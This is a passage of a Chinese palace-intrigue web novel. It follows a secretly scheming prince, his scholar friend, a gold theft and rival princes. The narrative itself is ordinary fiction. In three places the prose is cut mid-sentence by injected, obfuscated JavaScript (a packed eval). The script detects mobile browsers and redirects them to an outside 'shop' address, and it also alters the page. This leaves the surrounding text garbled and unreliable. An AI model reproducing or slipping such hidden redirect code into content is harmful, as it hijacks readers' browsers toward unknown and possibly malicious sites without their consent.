想想对方从未在自己面前展露过脆弱的一面,一度让自己忽略了对方的身体问题,宁悬明便深觉愧疚。 友人处处周到,时时贴心,自己非但没能帮到对方什么,反而还让对方耗费心神。 宁悬明越想,便越觉得自己这个好友并不称职,至少,不足以与越青君相比。 他缓缓松开双臂,结束了这个他觉得有些逾越的拥抱。 望着越青君,见对方并未觉得冒昧,这才笑道:“前些日子,我尚在是否留在京城此事上犹豫。” 越青君眨了下眼睛。 “京城繁华似锦,确实容易遮蔽人的眼睛。” 宁悬明:“你也不怀疑我是否像那等贤者大儒一般隐居山林?” 越青君眼中满是信任,“我认识的宁悬明,并非是会对世间诸事视若无睹之人。” 宁悬明扯了扯唇角,无奈轻笑,“有时或许还不如装聋作哑。” 可若连他这般人都装聋作哑,那么其他人又会如何? “你既然开口,那便是有了答案?”越青君问。 宁悬明举起手中抄录的文书,含笑将其仔细收捡好,重新望向越青君。 “相识以来,无瑕助我良多,我却少有回报。” “这些日子,我见你往来稀疏,想来也未有其他友人,若连我也走了,你未免太过孤单了些。” 越青君静静看他,并不出言打扰,只是背在身后的手转着念珠,一下又一下。 原著中,宁悬明当然也没有离开京城,只是却并非因为卫无瑕。 而今自己成了对方留下的重要原因,是否证明他所想的也并非不可行? 越青君仔细回想,自己应当从未在原著中明确过宁悬明感情方面的倾向,也未说过性向问题。 既然从未确定,那便尚且处于蒙昧之中,一切都有诸多可能。 丝毫不知自己心目中好友所想的宁悬明认真望着对方,含笑郑重开口:“悬明虽是萤火之光,却也想留在京城,与殿下相伴同行。” 不是无瑕,而是殿下。 意味着无论越青君只是想为这世道做些力所能及之事,又或是想谋夺高位,争一争皇位,宁悬明都愿意跟随。 哪怕一路崎岖坎坷,哪怕这路上只有他们二人,他都心甘情愿为自己的挚友、同道者倾尽全力,永不相负。 越青君忽而一笑,眉眼弯弯,衣摆随风飘拂,气度出尘。 “宁悬明并非萤火之光。” “他站在这里,就是光明。” 那是越青君从一开始就赋予他的意义。 * 章和帝允许越青君从禁军之中挑选护卫,然而这份差事却并非人人都喜欢。 只可惜无人能质疑天子,禁军中人只好另辟蹊径,想办法让平时不受重视之人站在前方,好让越青君能率先看见。 禁军若是被选去做皇子的护卫军,那便是只认一主,自身前途全在主子的荣辱间。 他们本以为,选人时这位六皇子必定认真仔细,选择那些背后家世强大的人做护卫。 如今的朝廷官制,能入禁军,成为皇帝亲兵,守卫皇城者,大多都出身世家,即便不是,也是落没成寒门的人家,至少能读书习武。 正因如此,在章和帝允许越青君选人时,前朝后宫才有些许波澜。 仅仅是这些波澜,便足以让越青君再次病倒,连续数日不曾下床。 便是挑选护卫一事,他也未曾露面,而是让手下人代劳。 那人拿着一份名单,当场宣读谁被选中,而那些被选中的人,大多也是家世并不起眼,本人也未有出色表现之人。 如此过后,越青君病情方才逐渐好转。 “殿下,可要给护卫们安排住所?”吕言恭敬询问。 按理说那些人可以住在原来的住处,也就是禁军宿舍,可这样总归不便,其他皇子都是在自己府中划分区域安排众人入住。 可谁让越青君的住处太小呢,几十号人不太能住的下。 越青君随意发话:“留十人在宫中,其他人安排进宫外宅邸。” 因越青君尚在病中,习武强身健体一事暂且被搁置。 但有件事却搁置不得。 越青君能下床后,迫不及待出了宫。 消息传至东宫,有人让太子盯着这位逐渐崭露头角的六殿下。 太子原也是听的,越青君宫中全是探子,打探消息十分容易,在第不知道多少次听说越青君出宫只为见一礼部小官后,太子只觉得自己紧张的样子格外傻。 “罢了,六弟那里暂时让人盯着,却是不必每日汇报了。” 越青君时常出宫,与宁悬明时而在府中相会,时而在京城游玩,二人一同乘车出行郊外赏景,宁悬明忙于公务时,越青君或留宫中,或独自在府中,并未结交任何人。 不到半月,跟着他的人便没再继续,实在是这位殿下的行踪太过清楚明白,根本无需特意探查,也毫无引人注意之处。 夜深人静,京郊。 一群黑衣人悄悄摸进一处别苑。 因为提前多日踩点,他们早已提前熟悉了别苑中的人员分布,轮换守卫的频率。 趁着轮换之时,他们先以迅雷不及掩耳之势将换下来的守卫们打晕,换上他们的衣服,正大光明出现在别苑里。 随后有人在别苑专门备的醒神茶里下药,当茶汤被送给那些即将坚守后半夜的守卫,别苑里的看守算是解决了,今夜的密谋便成功了一半。 “大哥,咱们为什么不直接在他们喝的水里下药?”经过一段时间的喂养,原本的瘦弱青年也不再如先前那般瘦弱,浑身长了不少肉。 在收到金主命令之时,他才明白为什么那人愿意将他们养这么久,每日饭菜管够。 只是长久待在宅子里被养那么久,被他们藏起来的老弱妇孺却是熬不过,为此,领头的老大不得不和对方商谈,最后那人同意他们派一个人外出,但必须及时回来。 因为长时间被限制出行,众人对金主也越发警惕,毕竟,他们真的很像养肥了待宰的猪羊,就等着哪天屠刀落下。 终于收到任务时,众人齐齐松了口气。 总算来了。 终于来了。 众人摩拳擦掌,等着大干一场,然后跑路。 要是金主再晚两天,他们说不定就要提前跑了。 大哥摸了摸怀里的药瓶:“你以为药很多吗?当然要省着点用。” 他想的总要多些,说不准,他们想要全身而退,还要托这剩下的药。 “两人留守在外,剩下的人跟我走。”大哥一声号令,众人齐齐跟随。 他们一路顺着早就打探好的密道进去,没走多久,便发现了他们此次任务的目标。 十多口大木箱子。 箱子全都被绳子绑住,却没有上锁。 有人想要打开看看,大哥却抬手制止了他们。 老二试着抬了抬箱子,却根本没抬动。 “老大,这里面肯定装着好东西!”说话那人眼里尽是渴望。 老大瞪了他们一眼,“是好东西我能不知道?”但好东西也要看他们有没有命拿。 “赶紧的,把东西抬出去,接应的人也快到了。”老大安排几人一抬,来回几次就能将东西送出去。 虽然有些好奇,但众人还是听话地抬箱子。 众人齐心协力,终于将箱子抬上马车,几辆马车悄无声息进了荒山野岭,到了指定地点,众人却看了看四周,却没见到所谓的接应之人。 “凎!不会被耍了吧?”莫不是天一亮他们就会上京城的通缉榜? 但以他们这段时间对那处别苑的观察,对方显然也是低调行事,比他们还不愿意惹人注意,想来就算是发现东西丢了,也不会公之于众。 既然不是通缉,那便是追杀了。 正在众人头脑风暴时,马蹄声一嗒一嗒,在这夜色里悄然响起。 大哥抬头望去,却见前方正有一人一马由远及近走来。 马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701452|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上之人身形挺拔,一袭黑衣虽在夜色里不甚清晰,但明月微光下,终是让人窥见那抹金色光芒,在月光下煜煜生辉。 “阁下可是接应之人?”大哥遥声呼唤。 “东西已经送到,阁下何时给银两?”本来畏惧麻烦,他都不打算要银子了,但见对方孤身一人,大哥心里又涌上了勇气和侥幸心理,心想他们十几个人,怎么也不怕对方一人。 马上之人并未下马查看,只是静静坐在那里,声音淡淡,“把东西抬下来。” 大哥虽然疑惑,却也没有拒绝,而是让兄弟们将箱子从几辆马车上抬下来。 等地上堆满了箱子,马上那人却是轻叹一声,语气遗憾,“竟然没有打开吗……”这么听话真无趣啊。 声音很轻,但大哥却听得一清二楚。 他心中莫名生出一丝凉意。 但凡窥见他人秘密的人,都很难被手下留情。 他不许人开箱也正因如此。 只要不打开箱子,他们就不知道里面是什么,那背后的一切也就与他们无关。 此时此刻,听着马上之人的话,他更是庆幸自己的决定。 大哥扯了扯唇角,“阁下若是检查好了,那便银货两讫。” 马上之人这回却是没说话,而是翻身下马,抽出腰间长剑,一剑劈在离他最近的箱子上,绳子应声而断。 那人:“打开吧,里面是你们的报酬。” 大哥刚想制止,其他人却已经一拥而上,将箱子打开。 开箱那一瞬,闪耀的金光就差点刺伤众人的眼睛。 众人一边惊呼一边伸手去抓,“金子!真是金子!” 大哥心下一沉,完了。 众人的欢呼还没持续多久,他们就辨认出金砖上的字,那是官府制造的印记。 众人浑身僵住。 晚风拂过,凉意袭身。 大哥率先抽出匕首,他就是凭这个一路从老家来到京城。 “阁下看来早有打算,是当真要斩草除根了?” “你未免也太过自信,竟孤身一人前来,当真以为自己能以一当十吗?” 话音刚落,其余也齐齐掏出武器,对准那人。 月光下,那人竟是轻轻笑了。 “如此英勇,想来是不担心家人安危了。” 众人脸色霎时一变。 “你敢!” 大哥率先想到那次允许人送东西,他们当时找的借口是出去采买,但很显然对方没信,想来那时候就有人在附近盯着,等着找到他们的老窝,将他们的家人一网打尽。 “你们大可以抓了我,要挟他们放人,但你们猜,在你们找到人之前,会不会发生什么意外?”那人虽戴着面具,但众人知道,他在笑。 大哥表情严肃。 有人已经受不了了,“老大,抓住他!杀了他!” “闭嘴!”那人被两人抓住,捂住嘴。 大哥冷眼看着面具人,“你想要什么?” 那人将手中的长剑挽了个剑花,一剑刺进木箱中,剑身隐没。 “入我麾下,又或者……亡我剑下!” 林风烈烈,玄衣肃杀,未被遮挡的双眼漂亮又明亮,却透着一股凌冽锋锐之气。 短短几息时间,却已经心思百转,大哥领着人跪下,恭敬道:“属下参见主上。” 那人抽出长剑,收鞘,轻描淡写道:“这一箱今后用作你们的赏银与日常开支。” 什么?这箱金子竟真的是他们的?! 众人瞪圆双眼,不自觉咽了口唾沫。 那人含笑道:“好了,现在把它们重新抬上去吧,东西送到指定地点。” 众人:“……” 什么接应之人,原来搬运来搬运去,干苦力的只有他们。 大哥:“敢问主上名讳,属下等该如何称呼?” 那人正了正脸上面具,金色的蝴蝶在月下流光溢彩,比方才那箱金子还要耀眼美丽。 “我嘛……” 他语气平淡宛如闲谈聊天,声音分明温和至极,却无端令人觉得危险又神秘。 “我姓越。” 12.命运赠礼 啪! 巴掌重重落下,五皇子妃娇嫩的脸颊迅速红肿起来,五皇子妃捂住面庞,眼中泪光盈盈。 面前五皇子向来温和文雅的脸上难得咬牙切齿,让那张英俊的外表都染上了几分狰狞。 “你不是说有人守着,就是这么给我守着的吗?!” 百万两尽数丢失,全都丢了! 五皇子妃心中满是惊惶,甚至顾不上五皇子对她动粗,只颤着声音道:“父兄找的都是可靠之人,必不会背叛,只是他们被暗算,殿下,有人黄雀在后,现在最重要的不是那些金银,而是找出幕后黄雀,敌在暗我们在明,于我们无益。” “你当我不知道?!”五皇子忍着怒火道,“如今那些银两的消息尚未泄露,我根本无法倾尽全力追查,一个不慎,被父皇发现,你想让我被父皇厌弃吗?!” 五皇子妃当然不是那个意思,她忍着面上传来的疼痛继续道:“殿下,能查到那些银两在殿下手中,并且能找到藏匿地方的,必定了解殿下颇深,且心存敌意,左不过就是那些人,殿下稍稍试探,定能有所收获。” 五皇子勉强忍下心中怒气,伸手扶了下五皇子妃:“蕙兰言之有理,方才是本殿下一时心急,才会不小心伤了你,你的脸可有事?” 五皇子妃依偎进他怀里,遮住面上神情:“殿下哄哄蕙兰。” 五皇子笑着搂住她的腰:“你上回看中但晚了一步的那套桃花头面,我已经让人定做了一套新的。” 五皇子妃扯了扯唇角,眼中却无丝毫笑意,“那蕙兰就多谢殿下了。” “你父兄这次办事不力,本殿下就不追究了,只是那百万两金银决不能平白消失。”五皇子声音微冷。 五皇子妃咬牙:“殿下,再过一月便是我母亲生辰,届时蕙兰想回一趟娘家,为母亲贺寿。” 五皇子面上笑意稍稍真诚了些:“蕙兰有此孝心,本殿下自然不会拒绝,只是下月我已邀了众多友人举办文会,恐怕无法亲自到场,只好拜托蕙兰帮本殿下带到了。” “殿下精心准备的生辰礼,母亲定然喜欢。” 二人又温存一阵,五皇子才借口有事要处理而离开。 “娘娘!”守在门外的丫鬟们匆匆进来,见到五皇子妃脸上的巴掌印,顿时红了眼睛,又急又气,急忙找药的找药,去厨房拿熟鸡蛋的去拿鸡蛋。 “殿下也真是的,往娘娘身上撒什么气,娘娘不仅要为他出谋划策、生儿育女、管理后宅,还要做他的出气筒,哪有这样的道理。” “殿下在外最是温文尔雅,连说重话都极少,怎么到了娘娘面前,就能随意动手!” 五皇子妃冷笑一声:“他是我丈夫,是我的天,这就是道理。” 因此哪怕明知对方虚伪至极,却还是不得不陪对方演戏。 “大驸马也是大公主的丈夫,前两日公主府又进了一名年轻乐师,大驸马重话都不敢说上一句,只敢在天香楼喝闷酒。”说话的丫鬟自然也知道公主的君,驸马是臣,且大公主作为章和帝最宠爱的女儿,唯一的嫡女,皇后唯一的女儿,是天下最尊贵的女子,自然不必看谁脸色,因而也就是嘴上酸酸。 “罢了。”五皇子妃制止道,“嫁都嫁了,孩子都生了,还能回头吗?” 卫国女子地位不算低,和离再嫁者极为常见,也不会受人白眼,但她嫁的是皇室,终究与寻常人家不同,若是膝下没有子嗣,未必不能运作一番,但她已有两子一女,早已无法脱身。 “准备笔墨,写信给父亲,让家中筹备百万银两。”宋蕙兰出身的宋家乃京中数得上的世家,百万银两自然拿的出,但这毕竟不是笔小数目,他们愿意给,还是因为他们看好五皇子,愿意做这个投资,弥补一下因为办事不力而失去的五皇子信任。 “娘娘还是好生歇息吧,为了照顾小姐,您都两日未睡好了。” 拿鸡蛋的丫鬟走进来,板着一张脸。 “娘娘,我刚刚进厨房,见张侧妃院子里正在传膳,听说殿下要在张侧妃院子里用膳。” 说好的去书房,转身就去了侧妃那里。 宋蕙兰想到张侧妃家中有个子侄,领了个城门守备的职务,便知五皇子去对方院中是为了什么了。 心下嘲讽一笑,面上无悲无喜。 “玲珑醒了吗?醒了就抱过来吧,我想她了。” * 且说五皇子之后当真在几个他觉得有嫌疑的皇子面前试探了一番,却什么也没试探出来,几个兄弟一如既往惹人生厌。 无功而返时,恰好偶遇越青君从宫外回来,真巧,这是第二次了,还每次都是撞见对方回宫。 若非觉得荒唐,他都要以为对方是在向他炫耀自己能长住宫中。 “六弟这是从哪儿回来?”他停下马车,掀开车帘和对方闲聊起来。 “从前半年不见六弟出宫一回,如今却是三天两头往宫外跑,可见是身子比往年好了许多。” 越青君掩唇含笑道:“多亏御医调养和父皇赏的武师傅,我如今确实感觉比往日好些,今日听法华寺讲经,比上次还多坚持了半个时辰。” 五皇子原本准备说出口的话一时卡了壳,只能勉强笑笑,“既然六弟身体渐好,那下月五哥我举办的文会,你可不能缺席。” “往日你不爱出宫,更遑论参加这样的宴会,这次五哥会邀请京中知名才学出众之人,你若来,我也好为你引见一二。” 什么引见,鸿门宴还差不多,卫无瑕从前不起眼,其中自然也包括学识,上学时便默默无闻,无甚出彩之处,到了那样才子云集的场合,便是无人刻意与他为难,只怕他也待得坐立难安。 越青君轻咳两声,“多谢五哥好意,只是我这身子时好时坏,届时能否去赴宴,尚未可知。” “不过,听说近日京中来了一位颇有才华之人,在京中传出几篇诗篇名作,我倒是想见识一二。” 越青君眼中满是憧憬,仿佛当真对那人向往之至。 然而在马车错开后,他眼中的憧憬便自然转变成了兴味。 他点开光幕,看着【角色列表】里的某个名字,缓缓勾起唇角。 希望对方能喜欢他送的初见礼物。 毕竟,上一个有这样荣幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13715322|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的还是他的悬明呢。 如果不喜欢,他可就要不高兴了啊。 五皇子心思百转,等回到府中,他当即找来幕僚,“你可知如今京中有位极会写诗,让我那向来鲜少与人结交的六弟都听说并想见上一面的人。” 幕僚从怀中摸出几张纸,“殿下所说之人,大约便是此人,这也正是属下想向殿下汇报之事。” 五皇子接过那纸张一看,只一眼,便是再难移开目光。 半晌,方才一把将纸张拍在桌上,心绪起伏难平。 “先生与我说此事,意欲何为?” 旁人不知这位五殿下的本性,但她身边之人多少都了解一些,对方大约并不如他表现出来的那样温文尔雅,礼贤下士。 但幕僚不在意,他们跟随五皇子,更多是因为对方的母亲文贵妃出身清流文人,身后站着朝堂半数文官,是几位有实力争皇位的皇子中最有可能继承大统之人。 “殿下或可将此人收入毂中,为殿下所用。” 见五皇子眉心皱起,显然并不喜欢这个建议,毕竟没人会喜欢一个比自己优秀的人。 “殿下身为皇子,天然与他人不同,您的位置不在文人清客,而是能收文人清客为己所用之人,揽尽天下人才,对殿下是天大的助力。” 提醒五皇子他和那位才子并非敌人。 “另外,京城文人中,名声最盛者莫过于苍原孟氏孟九思。” 孟九思一岁背诗,三岁写诗,五岁出口成章,幼年成名,十来岁时便是闻名天下的大才子,京城少女最想嫁的如意郎君。 因性情放荡不羁,拒绝朝廷征召踏足官场,只在民间做一富贵闲人,寄情山水的逍遥客。 孟家势大,章和帝自然不会因为一个未及冠的小二随意开罪,但孟九思显然也招惹了他,从此与官场无缘,如今年近而立,也未有一官半职,红颜知己无数,却未曾娶妻生子。 而幕僚送来的那些诗作,据说是那名叫“不凡”的才子为青楼女子所作。 如此一来,二人倒真有几分相像。 孟九思此人独来独往,素来不给谁面子,章和帝尚且被拒绝过,五皇子自然也被下过几次脸,偏因他要维持自己礼贤下士爱惜有才华之人的名声,甚至不能对孟九思冷脸,天知道他曾在这事上受了多少气。 而今,能让他出气的机会就在眼前。 五皇子当即明白了幕僚言下之意,“听先生一席话,胜读十年书,有先生辅佐,何愁未来不能得偿所愿。” “既如此,先生便稍作安排,请那位先生参加文会,可惜孟九思多半不会到场。”孟九思近几年鲜少参加诗会文会,正因如此,还有人说他江郎才尽。 “不过,我那六弟能来,倒也不枉费我一番心思。” 五皇子想了想,最后为了保险起见,也给他六弟近日时常往来的那名礼部小官送了一封请帖。 如此,算是万事俱备,只欠东风了。 书桌上,写着诗词的纸张被吹乱,纸页翻飞间,上面的诗词也显露无遗。 【晴空一鹤排云上,便引诗情到碧霄。】 13.盛世白莲 天香楼中,衣香鬓影,姑娘们穿梭在其中,成为楼里最美的风景。 天色尚早,楼里的客人不如夜晚多,然而有间包间却始终有人进进出出,往来美酒美食无数,其内传来的丝竹管弦声不绝如缕,好不热闹。 “李郎君,小女子方才跳的霓裳舞您可喜欢?比风竹姐姐的雀屏舞又如何?”彩衣女子含笑走来。 周围美人稍稍让开,露出被众美环绕的青年。 青年已有几分微醺,此时间彩衣女子过来,却也露出一个赞赏的笑容,“群芳姑娘舞技超群,李某此生仅见。” 他沉吟片刻,将手中美酒一口饮尽,诗兴大发,“云想衣裳花想容,春风拂槛露华浓。” “好诗!好诗!” “李郎有此文采,足以傲视群雄!” “李郎君,奴家的舞技也不差,郎君何时瞧上一瞧,也给奴家赋诗一首?” 被众人包围追捧,李少凡的心早已经飘飘欲仙,酒意影响下,他恍惚间只觉得自己来到了仙境。 落魄书生一朝声名鹊起,以平民之身往来富商权贵之间,被无数上流人士奉为座上宾,阅无尽美色,享无边富贵。 这大约是每个穿越者的梦想,而他李少凡,显然已经做到了。 醉倒在温柔乡里,李少凡觉得自己仿佛当真成了在盛唐中挥毫泼墨的诗仙,他就是盛世本身。 就在李少凡晕乎乎,不知今夕何夕时,门口忽然传来一阵敲门声,然而屋内热闹的景象,竟是无人听见门外的动静。 片刻后,门外之人直接推门进来,努力往里面挤,凑到李少凡面前:“李郎君,李公子,五皇子殿下府上有人想见您!” 他的大嗓门终于在屋内占据一席之地,周遭的乐声笑声都悄然低了几分。 美人晃着李少凡的手臂,“郎君,李郎,有人要见你。” 李少凡仍陷在温柔乡,黄粱梦里不愿意醒来,只略略不耐地说了一句:“谁?” 五皇子府的小厮捧着请帖进来,见到屋内的靡靡景象也不曾多看一眼,将请帖向李少凡递上。 “小的是五皇子府的人,我家殿下即将在下月举办一场文会,京中众多文人雅客皆受到邀请,听闻李郎文采斐然,殿下特意给郎君也送上一份请帖,还请李郎亲至。” “五皇子?”李少凡被酒精与美梦糊住的脑子稍稍清醒了些,想到现代各种影视文学作品中,杀伐果断的天潢贵胄,心中难免生出些许畏惧,但同时也滋生更多的野心和渴望。 皇子,距离皇位就差一步之遥,封建社会最大的奴隶主,金字塔顶级。 原来他已经走到这里了吗? 飘飘然时,他只觉得自己仿佛成了站在金字塔顶端的人,站在这个封建落后社会的顶峰。 身边的美人显然也十分高兴,与李少凡道:“李郎有所不知,五皇子殿下最是爱才之人,想来是听闻了李郎佳作,知道李郎才华横溢,想要一睹郎君风采。” 李少凡脑子里顿时浮现出李白在长安受人追捧,连天子都召见对方的情形,与他何其相似。 只是人家引来的是天子,可自己却只是为皇子,终究差了些许。 便宜没好货,越是珍贵,就越要矜持,就像现代很多奢侈品,有钱也不一定能买到,李少凡觉得很有必要给自己抬抬身价。 他接过那张请帖翻开一看,不愧是皇子府,请帖上都洒着金粉,贴着金箔。瞧着就富贵华丽至极。 他随手将请帖掷于地上,满脸骄矜,“安能摧眉折腰事权贵,使我不得开心颜?” 此时此刻,李少凡想的是贵妃研磨,力士脱靴,自己只是拒绝五皇子一次,李白尚且能风流潇洒多年,没道理自己会有什么事。 五皇子爱惜人才,礼贤下士,那么自己这么个才子诗仙,自然也能受几分优待。 五皇子府的下人瞪大双眼,眼中满是惊怒,抬头看向李少凡,此人竟如此不给五皇子颜面?! 屋中有一瞬寂静无声,然而在短暂的静默后,却是爆发了更大的欢呼,美人们无论心中如何想,面上皆是崇拜仰慕地看着李少凡,“李郎君兰风梅骨,我等平生仅见,今朝能与郎君同醉于此,此生足矣!” “李郎,继续喝!” “来来,都喝都喝!” 徒留五皇子府的下人被丢在原地,与周遭一切格格不入。 掉在地上的请帖终究是没有捡回去,但下人转身回府,将此事禀报给了五皇子。 听到下人回禀的话后,只听咔嚓一声,却是五皇子折断了手中的笔。 下人跪在地上战战兢兢,不知过了多久,五皇子才微微一笑,“知道了,你先下去吧。” 下人匆匆离开,五皇子的脸色瞬间阴沉下来。 半晌,五皇子忽而笑了。 好一个风流才子,想借本殿下刷名声?那我到要看看你到底接不接得住。 * 越青君觉得,自己这位五哥这下大约是不会想要去参加他那什么文会了,作为弟弟,他十分贴心地帮对方做了选择,将请帖丢进废纸篓,假装什么也没发生过。 见到宁悬明时,他却问:“你想去吗?” 宁悬明摇头,“年关将近,宫宴年礼,祭天请福等等诸多事宜让礼部上下近来都十分紧张,便是没有殿下,我也要拒绝的。” 托年关的福,也因为这几个月宁悬明的表现,他如今在礼部的处境好上许多,早已逐渐融入其中,参与政务。 只是职能如此,便是部门上下事务繁忙,宁悬明也能抽出时间来见越青君,和对方一起用膳。 深秋的风自窗外吹来,惹得越青君喉中传来一阵痒意。 “咳咳……” “近来气候渐寒,殿下的身体可还好?”宁悬明关心问。 越青君含笑道:“和从前一般,不好不坏。” “倒是你,官舍中虽不缺用度,但终究不如府上周全,若有不顺心之处,不妨住进府上。” 宁悬明微微一笑,“幸好我官职低微,否则只怕别人要说殿下结党营私了。” 越青君一脸坦然:“是与不是,你我心中清楚不就好了。” 宁悬明听过难得陷入沉默。 越青君抬眸看去,好奇问:“在想什么?” 宁悬明未曾遮掩:“在想殿下。” 转动念珠的手一顿,分明知道对方没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13721319|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有特别的意思,但越青君还是心跳重了一瞬。 “我本人都在你面前,还需要想吗?”他轻轻笑道。 嘴上说着想他,目光却是盯着桌上的棋盘,这几日二人相处不长,一局棋下了几日还未分出胜负。 但他们大约也并不在意胜负,只将它当闲时消遣。 “如今一朝,官场倾轧,皇子纷争,天子荒唐,我观殿下几月,却未见有何举措,不知殿下有何想法?” 宁悬明当然不在意越青君是不是想要皇位,毕竟无论如何,他们都是相识相知的挚友,但他想要知道对方的想法。 越青君远眺窗外,只见辽阔无际的天空也被框成了个四四方方。 “五年前,五皇子为打压太子,制造了‘毒米案’,上万百姓饥累而死。” “后来,太子为了报复回去,又生‘青词案’,多名官员入狱,上百名文人冤死狱中。” “若想要皇位,必须陷入那样的争斗中,岂非因果倒置?” “非我所愿,想来也非悬明所愿。” 越青君坚持随时随地都维持着自己白莲花的形象,卫无瑕身上不能有一点瑕疵。 皇位不是他的目标,而是别人自作自受,他也没想要登基,都是别人非要他上,名臣良将不是他谋划来的,都是他们自己主动凑到他身边,他根本不知道他们为什么就折服了,他什么也没做啊。 总之,他都是被迫的,什么野心勃勃,什么处心积虑,和他没有半毛钱关系。 越青君面带忧虑,心中却弯了弯唇角,不得不说,这种表面一套背地一套的戏码真有意思,他还可以演一百年。 “尽人事,听天命,命里有时终须有,命里无时莫强求,看来殿下修佛颇有心得,改日殿下去寺里听讲经的时候,带上我一起吧。”宁悬明笑着道。 越青君手里捏着的黑子一时忘了落下,眨了眨眼睛后摇摇头道:“不妥。” 宁悬明抬头,面带疑惑:“这是为何?” “悬明本就因俗务耽误了终身大事,若是随我听经,听得久了,更无心婚姻,想要皈依,那该如何?”越青君一本正经道。 宁悬明愣住,看着越青君的目光都与往常有些不同,仿佛第一次认识他一般。 “恕我提醒殿下,您自己都在修佛,且为此不愿成亲。”无瑕到底为何会觉得自己有资格和他说这种话? 而且,他此前从未想过,会从越青君口中听到婚姻、终身大事这些话,仿佛天上的谪仙落入了凡间,沾染尘埃。 越青君笑了笑,“悬明有所不知,我虽修佛,却也未曾超脱世俗。” “红尘情爱,世俗欲望,我也不缺。” 是的,虽然他杀生,淫邪,妄语,饮酒,穿锦衣华服,尝山珍海味,但他是个一心向佛的好人。 宁悬明:“……” 越青君心下笑而不语,虽然演戏很爽没错,但他忽然也很想,很想用本来面貌见一见悬明呢。 那时,他的悬明又会是什么反应呢? 强制什么的,似乎也很有意思嘛。 脑中逐渐有了想法,越青君单手支着脑袋,在宁悬明看不见的地方,笑意愈深。 14.权势不揽而自成 年关将近,前朝后宫都陷入了忙碌中。 年底日子好,京城的喜事也格外多,今儿是郡王府嫁女,明儿是尚书府娶妇,还有那出生在年关的婴孩,在众人眼中都是有福气。 各家的宴会始终不停歇,越青君也难得参加了几回,多是宗室举办的宴会,他去也就是亲戚间走动,其他人也没什么别的想法。 “世子堂兄,那边那么热闹,是在聊什么?”一场王孙满月宴上,越青君故作不知地对来向他敬酒的福王世子询问。 福王世子看了一眼,见是女眷那边一堆人凑在一起,说话声议论声都比往日热闹许多。 “六殿下既然想听,何不过去攀谈?都是亲戚,也不必太过避嫌。”福王世子从前都没和越青君说上几句话,也想了解一下对方是怎样的人,这才多说几句。 越青君举杯饮尽,因他身体问题,主人家特意准备了茶,而不是酒,“我与众位姐妹姑嫂本就不熟,非要凑上去不过是让她们不自在,何必为了一点好奇打扰她们此时正好的氛围。” 福王世子想了半天,也很难说明白越青君是个怎样的人,但就这几句话,非要他给个评价的话,那就是无害。 仿佛无论发生什么,对方都不会伤害别人,是个可信任的人。 可不要小看这个词,在许多时候,知道最多,看得最明白的,往往都是没什么存在感,平时看着温和无害的人。 也是这样的人,当他想要背刺谁时,最容易不被防备,一击致命。 福王世子也将杯中酒一饮而尽,“虽然听不见,但我大约知道他们在聊什么。” 越青君好奇看他,被样的目光看着,让人很难按捺住倾诉欲。 “你可知前些日子京城来了一位惊才绝艳之人?近来京城因他的诗掀起了不少风浪,宴上女眷们大约又是在争论他与孟家那位谁高谁低。” 越青君笑了笑,“孟家那位先生年少成名,我也读过他不少作品,却不知竟有人能与他一较高下吗?” “这……未免有些匪夷所思了。” 福王世子压低声音:“这你就有所不知了,虽然坊间争得面红耳赤,事情闹得沸沸扬扬,但私下有什么关窍,就不是你我能知道的了。” “我承认那人是有几分才华,但酒香也怕巷子深,想要香味飘远,也要先把巷子打通才行。” 任凭那姓李的有多少才华,但孟九思出身苍原孟家,这便是对方无论如何也比不了的,听听便知道了,众人都夸那人才华横溢,可有多少人知道那人姓名?谈及他出身?顶多知道个“不凡”的雅称,但这个“不凡”可以是他,也可以其他所有人。 如此这般,那再看如今“不凡”与孟九思之争,就值得深思了。 寻常福王世子也不应与越青君说这些,交浅言深,但此时世子刚喝了不少酒,又想和越青君多说两句,便一时没管住嘴。 夜里,福王世子酒醒后,有些懊恼自己酒后失了戒心,但又暗暗安慰自己,六皇子向来低调,哪怕在天子那里得了脸面,也不曾有半分得意忘形,对方应当不会将他那些话传扬出去。 即便传出去了也无妨,他都能看出来的事,也不算什么秘密,顶多是从背地里放到明面上。 之后他让人观察了几日,见并未有消息从六皇子那里传出,这才终于放下心来,与此同时,心中对越青君的好感也高了不少,对方守得住秘密。 年节送礼时,给六皇子的礼比原先准备的重了三成。 一来一往间,关系就这么拉近了。 因此,当福王世子匆匆求上门时,越青君也并不惊讶。 “世子堂兄,今日怎得有空上门做客?”越青君一边让人去奉茶,一边又和对方寒暄。 福王世子满脸堆笑,“上次犬子满月宴上,宾客众多,未能好好招待殿下,今日特意送上一份礼,好弥补当时的疏忽。” 